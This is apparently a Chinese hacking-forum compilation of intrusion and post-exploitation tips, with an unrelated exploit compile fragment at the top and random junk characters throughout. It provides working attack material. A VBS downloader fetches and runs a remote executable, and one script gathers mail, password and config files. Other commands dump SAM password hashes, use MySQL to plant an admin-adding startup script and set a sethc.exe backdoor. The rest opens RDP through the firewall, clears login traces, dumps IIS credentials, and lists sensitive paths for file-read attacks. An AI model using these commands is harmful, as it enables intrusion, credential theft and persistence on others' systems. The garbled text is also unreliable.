* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
$ n4 l& O# s9 i% U! Q: v7 X*
calling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
. |, v1 I& s: o————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
) J4 c% O8 @# r; w* T' u% ~' s3 W, Halzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
& c# a+ d3 d6 J5 |{
$ X* ?5 N0 j/ n# W注：
8 S* V+ Y0 f/ h9 C# W5 h关于tar的打包方式,linux不以扩展名来决定文件类型。
4 r4 o8 a, N. v5 t) ~若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
, p' y3 }# ~# I1 R  ?( G! R, C' E}  
, J$ o0 t; T: [
提权先执行systeminfo
& T8 V/ U% |) K* A: y7 J$ c! W# htoken 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
5 D0 X' D5 O6 K$ orar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
1 _8 U/ i& {$ K9 u+ d" P2、收集系统信息的脚本  
for window：
6 w" s. B# V0 N1 S5 D+ x( y
@echo off
5 N! u- C9 ?6 q* ?, w" iecho #########system info collection
systeminfo
ver
hostname
net user
# Z7 F% ~) _: E* N4 O' n( ?/ k# _net localgroup
9 k0 x5 p. G8 |% U- x- }net localgroup administrators
& e0 O# a  J. N; Enet user guest
: T+ D! b7 n. ^% k* r" Lnet user administrator
+ O' h3 [  ]7 X8 D6 D' ]
$ k' W# j/ V- ~- g% M8 R$ }echo #######at- with   atq#####
# K3 p' c- p7 }3 f: U5 v$ Necho schtask /query

' a/ m9 \% {& k- j! decho
echo ####task-list#############
) M4 e2 f3 K# j, Vtasklist /svc
' Z: q& F3 h5 g: aecho
echo ####net-work infomation
ipconfig/all
route print
6 i+ j6 D8 X8 y5 L: c! b+ `arp -a
netstat -anipconfig /displaydns
echo
: ?* W3 z; _% A" y+ r' R" Oecho #######service############
sc query type= service state= all
0 N4 \( i- O1 w: l; ?, R) Uecho #######file-##############
cd \
9 o. ]& ~2 y$ B5 ~$ f7 otree -F
" d. G/ A% I: s: `for linux：

#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
7 N8 t8 @3 Y$ O8 w8 h$ N6 j# K3 qcat /proc/cpuinfo
" U, X5 H0 j% H. r; g% vecho
rpm -qa 2>/dev/null
######stole the mail......######
* \5 J( a$ F. u6 y# V  P6 ycp -a /var/mail /tmp/getmail 2>/dev/null


echo 'u'r id is' `id`
1 R- V( N. ^2 F: \' ^echo ###atq&crontab#####
  x. D4 |; ^: f: J; H5 C! Ratq
  d+ G; T4 L6 j3 Y( k! bcrontab -l
echo #####about var#####
9 r) Y& f9 e$ t% R8 iset
+ X4 @" W' p! p- C, m$ A5 R  u
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
/ {. k, Y' j4 R( Y1 p# Kcat /etc/hosts
5 s5 J- t: C8 S! ohostname
ipconfig -a
! a3 j6 d2 @4 K) C& X0 Larp -v
1 U3 p1 q5 H" O7 necho ########user####
cat /etc/passwd|grep -i sh
4 _/ o2 n2 r3 X- ^+ Q# o* ?
$ h$ j( J6 F, becho ######service####
1 v  r, l2 D, Bchkconfig --list
0 z8 ]( l+ p$ \: L$ N7 o" ~( A
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done

# `- a% Q0 c3 s, d6 {6 h. hlocate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
5 M- u& N- O' e7 D8 h& ]sleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
  H' S2 z* r2 M! X( M0 Klocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
/ R; G1 J( h5 G' q
###maybe can use "tree /"###
echo ##packing up#########
( b6 K( C! o" D9 s% h  N% star cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
2 M' ]9 r1 X' S5 |8 ]4 g4 g: trm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
0 j; h- \* M0 @0 U( C# }5 N! c3、ethash 不免杀怎么获取本机hash。
) g/ j& E) a: c首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
' F9 W4 R2 x; J6 I( S% M4 k               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
# i% O/ t1 D3 I4 g8 M- l据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
' ^, x- f/ y& S" r# S1
' j4 q" L- @: ^echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
2 U! y$ z! E$ n" M) Vecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
" r# \0 ~& K) b9 D. Q$ fecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

2
% O3 l0 w: C' v$ W( mOn Error Resume Nextim iRemote,iLocal,s1,s2
' H. G. c" [+ J! h- k  hiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
$ _+ K5 ?! N! W6 c1 is1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
2 E# q5 _( H4 WSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
( Z8 V" `- _9 {6 B! N% l6 DSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
) j5 p3 T1 {3 f6 w5 ~: p$ ^5 o
' E8 t2 M% `( E: Y! q1 S- ]) h# Icscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
' [# u( [( O5 i' u
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
- k8 h% K+ N  X5、
) @) C$ Q7 j. Y+ i. ]6 y, e1.查询终端端口
+ g( O5 ^7 M5 W  B! C5 W; K( GREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
' L) P& l# B6 l+ h3.更改终端端口为2008(0x7d8)
* B0 W+ h! o/ v8 J9 G+ dREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
8 ^' w/ y9 [& P: _9 ?; ZREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
9 u$ q4 R' e; \# O+ B————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
6 E& r" K8 J5 winsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
; |* Z' x6 N1 l) ]6 L4 U2 t————————————————————
& P- A0 s* V: j' z! }  a7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
7 O7 s" b" R1 u6 b6 f% ?_____
8、for /d %i in (d:\freehost\*) do @echo %i
! A. q/ X, Z8 |0 v9 y
& N, K# a6 E) r& @+ T4 o( K列出d的所有目录
; F) o0 a8 i% J2 M4 S& }9 c! N  
  for /d %i in (???) do @echo %i
( ^* o5 x6 }6 K4 d. Q3 `/ n
7 b! I9 \3 L4 a( P! u5 C( M把当前路径下文件夹的名字只有1-3个字母的打出来
/ W! J  A7 J" V: P! l
4 S* B6 F' B7 e, }: G2.for /r %i in (*.exe) do @echo %i
" @6 y( X7 H" e# [# w- ?4 s  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

, O# M0 B) |6 E1 _" A) J0 T, Ffor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
, W" L6 a% Q; m  Z+ y, k, E
3.for /f %i in (c:\1.txt) do echo %i
  
- ?8 c: n4 M' e4 l7 `  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

7 [* r% V9 ~3 o3 ], ]: d+ d6 d4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
! D$ q% ]4 S6 M# b
  delims=后的空格是分隔符 tokens是取第几个位置
——————————
, Z1 @( Z' |  Z) |2 R5 B; H●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
0 N; n# r0 e2 J9 H6 q2 g9 P4 d
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
: t7 A5 X, \# q2 |9 q1 A修改PortNumber.
3 ^6 l/ i" v1 a  [7 T4 m
3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

3 q9 c2 Z! r8 W' e' o% {+ L5 b9 S4.Radmin密码:
8 d  ]) V% n8 ]: Breg export HKLM\SYSTEM\RAdmin c:\a.reg

! z% i' \- x1 b  m5.禁用TCP/IP端口筛选(需重启):
5 r  z+ ]- L7 B* IREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

) h  I6 A5 ?5 I; ^6.IPSec默认免除项88端口(需重启):
1 ~. s8 o8 p* `) U! I" O2 mreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
% S" R& ?( h& J) Q. L( S4 H' m8 }或者
netsh ipsec dynamic set config ipsecexempt value=0
8 b6 i8 |9 J6 i- K2 y3 R9 q
; S! e& Q) _! x& o, N+ ^9 l2 R7.停止指派策略"myipsec":
2 b: f4 I/ c, A# N! w! B7 n2 dnetsh ipsec static set policy name="myipsec" assign=n
9 X/ r. O: F5 J" f4 G- e: h, `+ n4 U, }
7 w- E* O# E/ x7 ]0 i6 E8.系统口令恢复LM加密:
* m6 b/ M0 @+ O+ |) Y$ ?! ~( x& Vreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
3 g) n1 g" e  {/ o5 O+ C/ q
9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
% ]( [& i5 i2 b( ?# y: V1 Dreg save hklm\system c:\system.hive
, s' y6 l, Q! W! n' ^/ J' A4 w! Ereg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
% U! G. M& ^( p# i; ~3 [; U3 M
! L/ i0 |1 K- w4 f4 {# @1 Sreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
; r# p: X/ O" a9 @3 lSet ObjService=GetObject("IIS://LocalHost/W3SVC")
- c& Z' _3 }1 \: K+ G* qFor Each obj3w In objservice
# b4 W; d7 j% ?7 PchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
1 A( T2 t0 r% h# Cif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
9 y( |+ }2 |  y9 W* U% Zif err.number<>0 then
- Z* [7 b3 D$ D* q- x- J- n% lexit for
msgbox("error!")
( h& G, w( j: o1 l- dwscript.quit
end if
1 q0 W. D1 l( h3 _serverbindings=IIS.serverBindings
3 u7 g8 R6 ~. H  d- LServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
3 ?: H) c4 G- p( o1 v& v3 ?8 f& Z/ ~path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
% c; t) N/ X1 V5 k7 n2 {% O3 W9 L7 Pend if
Next
8 B! d- x- F3 a! Lwscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
+ n; O* H1 Y: i/ t. S1 Q2 s/ Y" w----------------------2011新气象，欢迎各位补充、指正、优化。----------------
3 G# z2 r4 m/ Q# o7 v2 c# B6 S" V) a1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
1 U& q& s% \* w8 j- m# u0 i  V4 }将folder.htt文件，加入以下代码：
) S/ W8 _6 {2 a# U<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
) a7 z3 d0 y# z- ]/ k1 ~1 R- h</OBJECT>
复制代码
0 s- `" e& U9 X然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
4 |7 c7 N8 S4 @+ V6 _# ~; C9 JPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
0 }- f5 C2 ^8 s6 G, ~: z 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
$ l' a0 c: k% @2 P! d4 d% h 解决方法
url=request.severvariables("path_info")
2 `4 L4 k% f* t/ P6 w$ w path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
3 J! ^8 C0 `6 Z9 b; B0 {+ WLINUX常见路径：

/etc/passwd
" |7 N- B* Q3 k$ Q( X8 ^$ n' O; n/ a/etc/shadow
/etc/fstab
! g( s' p+ O0 Z3 j/etc/host.conf
0 O6 Q' ?  ^3 ~) E/etc/motd
0 e+ M7 a# t) f; K8 t  t$ O6 ?" B/etc/ld.so.conf
- A9 @9 Z" e! ]7 G- T  g/var/www/htdocs/index.php
' v& D1 s# s7 o  Z# R/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
# j+ g) ~, [5 Z6 U/var/httpd/htdocs/index.php
9 W2 ^& J9 O% f. ]# p% x/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
9 E3 a* u: k. @8 k2 u/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
0 y7 Z3 }* j: J2 x1 Y! b/usr/local/apache2/htdocs/index.html
- w% N* X& _: G# ?1 l2 r& w/usr/local/apache2/htdocs/index.php
; p8 y" n4 g3 \/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
6 w& U( |$ j% q7 J7 }# h" r/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
5 `. r) V3 k: k3 Y7 A/www/php5/php.ini
, p) n0 m# m: S; U" A1 J/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
; f1 C6 [7 A3 V1 L/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
0 j3 Z  _: Z$ K' j, ^( k/apache/apache2/conf/httpd.conf
1 K6 F4 s$ _  F9 u9 L( m( C; i( c( b  [/etc/apache/apache.conf
$ r0 O; W5 C5 _: ]4 p/etc/apache2/apache.conf
1 n3 R/ y  o5 N: @* X2 ^/etc/apache/httpd.conf
0 e2 y9 H6 _- ~8 |- ^/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
$ Q. p. l( ], c/etc/phpmyadmin/config.inc.php
6 i# v9 P5 h. M% u, z/etc/mysql/my.cnf
( X: `! a0 g0 \$ J/etc/httpd/conf.d/php.conf
0 w& r+ J/ p  \$ ~% q4 }( J/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
" C  n4 u3 g/ s( m/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
+ m( V5 @; U; }, ?" h/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
0 ~6 b4 [- I1 c7 m8 A" w# w/home/apache2/conf/httpd.conf
' \3 _( K, s' F3 S0 J! S/var/log/apache/error_log
/var/log/apache/error.log
6 s7 m7 Q2 e3 g! Z* ~/var/log/apache/access_log
/var/log/apache/access.log
: S2 s( w2 v/ b- I, W" I( I0 h" ^; L/var/log/apache2/error_log
/var/log/apache2/error.log
- A, y' p2 f5 n6 L+ K# C/var/log/apache2/access_log
( ?8 Z9 C$ y# M/ u. }/var/log/apache2/access.log
/var/www/logs/error_log
. L" z. j5 y8 X+ r. |/var/www/logs/error.log
$ ^1 i8 T# H- N) @  q- p/var/www/logs/access_log
7 s1 l" }" e9 B) ?+ b3 i. l/var/www/logs/access.log
/usr/local/apache/logs/error_log
4 E' l+ A) ^& Y3 c/usr/local/apache/logs/error.log
' g$ \$ {- R4 z) d, c/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
& ?" i, O7 `* u, t3 b0 [/var/log/error_log
/var/log/error.log
/var/log/access_log
/ m( L3 H. W$ w: Q. G/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
8 ^# t4 J2 G& k3 A) Z5 b3 r/etc/init.d/httpd
/etc/init.d/mysql
; m! J6 {8 _; u5 ^! a4 m; Z/etc/httpd/php.ini
/usr/lib/php.ini
6 r) V( @. A. q5 S/usr/lib/php/php.ini
/usr/local/etc/php.ini
; j/ ]4 P9 _2 g, R0 w/usr/local/lib/php.ini
% S+ {! T: F+ A' r; _/usr/local/php/lib/php.ini
" O: }# `9 [% i$ x* p9 Z/usr/local/php4/lib/php.ini
8 M: s  ?0 L: {) g/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
& B4 A, ~+ P% x% `) E/usr/local/php5/lib/php.ini
8 D% `1 c% ]/ H. V3 }, D# g. j/usr/local/php5/etc/php.ini
' c. O  i, b0 Z* g; }1 Y& ^/ k/usr/local/php5/php5.ini
! u" P0 h( X* S  ]/usr/local/apache/conf/php.ini
, _; C) U+ j& ^3 n  U2 J9 D, ]/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
+ X. G1 K! T/ L& b/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
4 q; |; d' |# p% i7 Z; q/etc/php/apache2/php.ini
/web/conf/php.ini
- D! j6 x/ P* z  l& P, Q8 U/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
. F( a! N+ f2 p+ H: o. q/var/local/www/conf/php.ini
  q. m" l7 \; D( a9 ^& |( h& a/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
. f+ Y* \( Z  z! h/etc/php5/cgi/php.ini
( t9 g- H. a: N: Z  L# V1 f/php5/php.ini
/php4/php.ini
/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
6 z% E0 d& E: A9 h2 Q$ _1 F/NetServer/bin/stable/apache/php.ini
' ~) }& A9 o5 N/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
% b" S% x5 T3 `. X) l+ N+ `/var/log/mysql.log
# R% Y: S3 L# Y. M" B& t/var/log/mysqlderror.log
9 P7 l2 L7 P0 s0 t0 l( u/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
$ b6 x  L% N1 Z8 L/var/mysql.log
' \- s; H: t) w5 d$ j# E/var/lib/mysql/my.cnf
: V4 i- d8 a1 V+ p" t- A# p/usr/local/mysql/my.cnf
, F  f1 n5 b# `( K/usr/local/mysql/bin/mysql
, x# }  V  f# e9 z1 f/ s+ _/etc/mysql/my.cnf
/etc/my.cnf
' d  X) w: a; _& D7 C/usr/local/cpanel/logs
' ^. G/ H) S& r2 \4 z9 h/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
1 T2 h: X# D1 \( J2 E/usr/local/cpanel/logs/login_log
0 Y; c- y) j7 R( z2 J0 w/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

. G* F" \1 ?! C: I2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
7 i. d9 _' J7 C3 h3 V( W# l
c:\windows\php.ini
c:\boot.ini
c:\1.txt
  h; ^) N7 _2 bc:\a.txt
5 w+ z) s2 o  e+ |1 T
2 _+ Z, H6 c9 k4 `c:\CMailServer\config.ini
+ B9 H- ^+ X: \c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
, v6 z$ y) l5 b; Jc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
0 L/ r* c' s- Q2 x& O& E% r# MC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
' R' M. K  i. ^' x/ I6 A6 ]
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
/ o$ c8 [* R: h2 B0 |, y) lc:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
. `" y7 l  m( U/ U7 Y8 X% r# H0 Uc:\www\index.asp
c:\wwwsite\index.asp
3 V. `6 ?: o# u  W; ?c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
# ~8 _# m  ?' |0 s/ Z4 Zc:\www\default.html
7 j, ~" v4 b' P) L$ T  b7 }9 J% n7 X1 yc:\WWWROOT\default.html
: N5 H" w4 k9 V1 @1 r7 c$ Ac:\website\default.html
c:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
- ^- q8 e; P4 z" n4 c5 {c:\www\default.php
1 E/ e* Y, Q) h/ |c:\WWWROOT\default.php
" @7 B% w" x' F- e1 i( {: ~0 L% jc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
/ t8 F0 E# d# N* p3 V- c6 M  _c:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
2 T% \  l3 Z3 J- {C:\Program Files\Microsoft Office\OFFICE11\winword.exe
5 d! m+ V  P. l% B( |5 w) MC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
" Y8 Z/ x. e, p4 k# l) Z, JC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
7 U0 R4 G3 ~$ G* P& Lc:\ravbin\store.ini
2 Z( p" I2 D0 D% ]c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
. m  M7 y3 P: ~+ |3 ]4 q/ L2 OC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
5 F- P" I( i, Z7 \C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
7 I) K5 N$ E* |5 OE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
% e' o- o% p1 G5 VC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
+ R$ ~( u9 I* R* q% t* e; GC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
  w$ n/ B# o% u. QC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
1 W6 S: ?2 q7 G# PC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
4 F& Z7 o1 q7 kC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
5 B+ O) @# p+ Z# ZC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
2 S: C* E6 ?, eC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
( z! ^2 r, p" iC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
( O" {$ o& n. t' k. M( ]C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
" l, f7 U- O" e% ?6 T* C5 HC:\Program Files\MySQL\MySQL Server 5.0\COPYING
# E. }0 u$ ~: R' |+ _+ qC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
1 b0 i) B* Z( c+ kC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
" [' ?2 c3 l5 ~% `% ~2 X2 PC:\Program Files\Oracle\oraconfig\Lpk.dll
  F" v* D" J/ b- GC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
; _3 m* g& t' RC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
& h- f; g1 u4 U- [" @2 IC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
: f$ T1 h, \- Y$ J" @C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
) v5 m$ r" L3 X1 {c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
5 H4 d% g+ [5 s7 n) @6 mc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
1 S8 l0 i" K7 X5 T% N& Pc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
6 ~! Q9 }1 Q: Yc:\Apache2\Apache2\bin\Apache.exe
3 w$ e3 D* l9 \6 l: _c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
. G: k1 r; g$ z* `3 y! K6 G' r/usr/share/tomcat6/bin/startup.sh
